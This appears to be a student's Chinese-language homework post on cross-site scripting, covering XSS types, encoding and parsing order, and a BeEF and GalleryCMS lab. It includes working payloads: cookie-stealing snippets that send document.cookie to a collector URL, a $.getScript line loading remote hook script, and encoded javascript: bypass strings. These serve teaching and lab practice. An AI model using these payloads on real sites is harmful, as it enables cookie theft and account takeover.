网络安全第六次作业

xss知识

xss基础

解释

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

分类与对比

最常见的三种分类:

反射型(非持久型)
存储型(持久型)
DOM型

反射型

反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者必须以某种方式诱导用户访问一个精心设计的URL(恶意链接),才能实施攻击。

举例来说,当一个网站的代码中包含类似下面的语句

<?php echo "<p>hello,$_GET['user']</p>"; ?>

那么在访问时设置

xxxxxx/?user=</p><script>alert("hack")</script><p>

,则可执行预设好的JavaScript代码。
反射型攻击流程:
在这里插入图片描述

反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大,所以它的危害性较存储型要小。

那么如果想要扩大反射型XSS的影响,就要想办法转化为持久型,或者使攻击持久化。

存储型

存储型(或 HTML 注入型/持久型)XSS 攻击最常发生在由社区内容驱动的网站或 Web 邮件网站,不需要特制的链接来执行。黑客仅仅需要提交 XSS 漏洞利用代码(反射型xss通常只在url中)到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis,和其他的许多地方。一旦用户访问受感染的页,执行是自动的。

漏洞成因
存储型XSS漏洞的成因与反射型的根源类似,不同的是恶意代码会被保存在服务器中,导致其它用户(前端)和管理员(前后端)在访问资源时执行了恶意代码。

利用方式
持续性的 XSS(即存储型) 的危险性比非持久性高,因为用户没有办法保护自己。一旦黑客成功在某个页面注入了漏洞利用代码,他将宣传受感染页面的 URL 来希望不知情的用户中招。即使用户对非持续性 XSS 的 URL 懂得识别,也会很容易的受到影响。

存储型攻击流程:
在这里插入图片描述

DOM型

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS

例如这么一个页面:

<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img
src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

在这段代码中,submit按钮的onclick事件调用了xsstest()函数。而在xsstest()中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,造成了DOM Based XSS。

当用户输入: x’ οnerrοr=’javascript:alert(/xss/) ,代码就变成了:

<img src='x' onerror='javascript:alert(/xss/)'></img>

最后脚本被执行,出现弹窗。

前面两种恶意脚本都会经过服务器端然后返回给客户端,相对DOM型来说比较好检测与防御,而DOM型不用将恶意脚本传输到服务器在返回客户端,即DOM型XSS一般和服务器的解析响应没有直接的关系,而是在JavaScript脚本动态执行的过程中产生的。

xss的利用

利用XSS窃取cookie

窃取cookie是xss利用最常见的手段,攻击者有了cookie就相当于拥有了“管理员”身份。通常需要配合xss平台来进行攻击,当被攻击者访问到有恶意代码的页面,他的cookie就会被发送到xss平台。

常用获取cookie的js代码如下:

<img src="http://localhost/XSS_cookie.php?cookie='+document.cookie"></img>
<script>new Image().src="http://localhost/XSS/xss_cookie.php?cookie="+document.cookie;</script>

其中本地的XSS_cookie.php中的内容如下:
在这里插入图片描述

XSS修改网页

该利用方式的前提是网站必须存在存储型xss漏洞,并且会将结果返回到页面上。我们可以在源码中插入一段js代码,作用在于获取网站源码中的标签,然后修改其中的属性值,达到修改网页的效果。也可以构造弹窗等诱导被攻击者输入账号密码等关键信息。

XSS获取用户信息

利用xss除了能够获取用户cookie,还能获取诸如浏览器版本、外网IP地址、浏览器安装的插件类型等信息。比如alert(navigator.userAgent); 能够读取userAgent内容;利用java环境,调用java Applet的接口获取客户端本地ip等。

XSS+CSRF 组合拳

组合拳思路

存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)

存储型XSS + CSRF

HTML编码

解析顺序

HTML实体编码解析>urlcode编码解析>javascript.unicode编码解析

HTML解析

五类元素
(1)空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。例如<area>,<br>,<base>等等

(2)原始文本元素,可以容纳文本。例如<script>和<style>

(3)RCDATA元素,可以容纳文本和字符引用。例如<textarea>和<title>

(4)外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释,例如MathML命名空间或者SVG命名空间的元素

(5)基本元素,可以容纳文本、字符引用、其他元素和注释,除了以上4种元素以外的元素

一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态
当遇到<符号后,开始进入’标签开始状态‘>'标签名状态’>‘前属性名状态’>…>‘数据状态’至此释放标签令牌
当处于数据状态时解析器将继续解析,发现一个完整标签,然后释放

字符实体

字符实体是一个转义序列,它定义了一般无法在文本内容中输入的单个字符或符号。一个字符实体以一个&符号开始,后面跟着一个预定义的实体的名称,或是一个#符号以及字符的十进制数字

HTML字符实体

在HTML中,某些字符是预留的。例如在HTML中不能使用“<”或“>”,这是因为浏览器可能误认为它们是标签的开始或结束。如果希望正确地显示预留字符,就需要在HTML中使用对应的字符实体。某些字符没有实体名称,但可以有实体编号

字符引用

<div>&#60;img src=x onerror=alert(4)&#62;</div> #这里的解析过程为遇到</div>后进入数据状态,&#60;html实体编码会被解析出来为<,只会作为一个特殊字符显示,此时不会进入标签开始状态,所以后面的img元素不会被执行
在RCDATA元素标签<textarea>中,所有js代码都不能被执行
<textarea><script>alert(6)</script></textarea>#不会执行
这里的onclick中属于标签的属性值,与href中同,所以会被HTML解析

<button onclick="confirm('7&#39;);">Button</button>

URL解析

URL资源类型必须是ASCII字母(U+0041-U+005A || U+0061-U+007A),不然就会进入“无类型”状态
下面的编码中没有HTML编码内容,不考虑,其中href内部是URL,于是直接丢给URL模块处理,但是协议无法识别被编码的javascript:,所以解码失败,不会被执行
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>#不会执行
首先编码中有HTML编码,HTML解析器对其解析,直到冒号:后因为是href中为url,所以URL解析对其进行识别为JavaScript协议,然后进行解码得到正确的js协议,接着js执行

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

在href中为url,URL解析模块进行识别,只有JavaScript没有完整的JavaScript:,于是不会进行解码,所以不会执行
<a href="javascript%3aalert(3)"></a>#不会执行

JavaScript解析

字符串中:当Unicode转义序列存在于字符串中时,它只会被解释为正规字符,而不是单引号,双引号或者换行符这些能够打破字符串上下文的字符,Unicode转义序列将永远不会破环字符串上下文,因为它们只能被解释成字符串常量
下面onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示

<button onclick="confirm('8\u0027);">Button</button>#不会执行

标识符名称中:当Unicode转义序列出现在标识符名称中时,它会被解码并解释为标识符名称的一部分,例如函数名,属性名等等
下面的script属于原始文本元素(Raw text elements),只可以容纳文本,注意没有字符引用,于是直接由JS处理,JS也认不出来,执行失败
<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>#不会执行
控制字符:当用Unicode转义序列来表示一个控制字符时,例如单引号、双引号、圆括号等等,它们将不会被解释成控制字符,而仅仅被解码并解析为标识符名称或者字符串常量
下面script中的编码它并不会被执行。因为“(11)”不会被正确的解析,而“alert(11)”也不是一个有效的标识符名称
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>#不会执行
下面\u0031\u0032在解码的时候会被解码为字符串12,没有引号,所以不会执行

`在这里插入代码片`#不会执行

下面不能执行是因为在JS中只有字符串和标识符能用Unicode表示<script>alert('13\u0027)</script>#不会执行

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

先由HTML解析解码,然后再由URL进行识别解码,最后再由js解码unicode,然后执行

xss的绕过

首先安装beef

apt-get update与apt-get install beef-xss

启动beef软件。
使用beef-xss启动beEF软件。第一次启动时会强制要求修改密码
并且将host地址修改为kali虚拟机的地址
在这里插入图片描述

而beef的启动为beef-xss,停止为beef-xss-stop 

然后就可以在虚拟机中登录beef了
在这里插入图片描述
而搭建GalleryCMS,只需要将该文件放到PHP的www目录下即可
,首先它会报错—没有gallery这个数据库,只需要在MySQL下新建这个数据库就好
然后另外一个错误就是—last_ip 没有默认值,我用的方法是修改严格模式,也通过了(因为我是先尝试一遍再重新写作业,所以这里没有截图)
最后就是这样
在这里插入图片描述
然后前面那些试验我就没有截图了
在最后短域名绕过的时候,我没有将老师的域名写入到阿里云的服务器里,然后我尝试把域名解析到华为的服务器上也没有成功,最后只有在虚拟机上进行本机操作
我这里的hook.js修改了IP地址,可以外网访问
在这里插入图片描述
这几个字符就是浏览器基于Unicode码的缩短吧,在进行短域名绕过的时候会经常用到

- ff expands to `ff`
- ℠ expands to `sm`
- ㏛ expands to `sr`
- st expands to `st`
- ㎭ expands to `rad`
- ℡ expands to `tel`

然后在登录框中利用xsshunter的代码进行实验

<script>$.getScript("//IP地址")</script>

最后结果
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值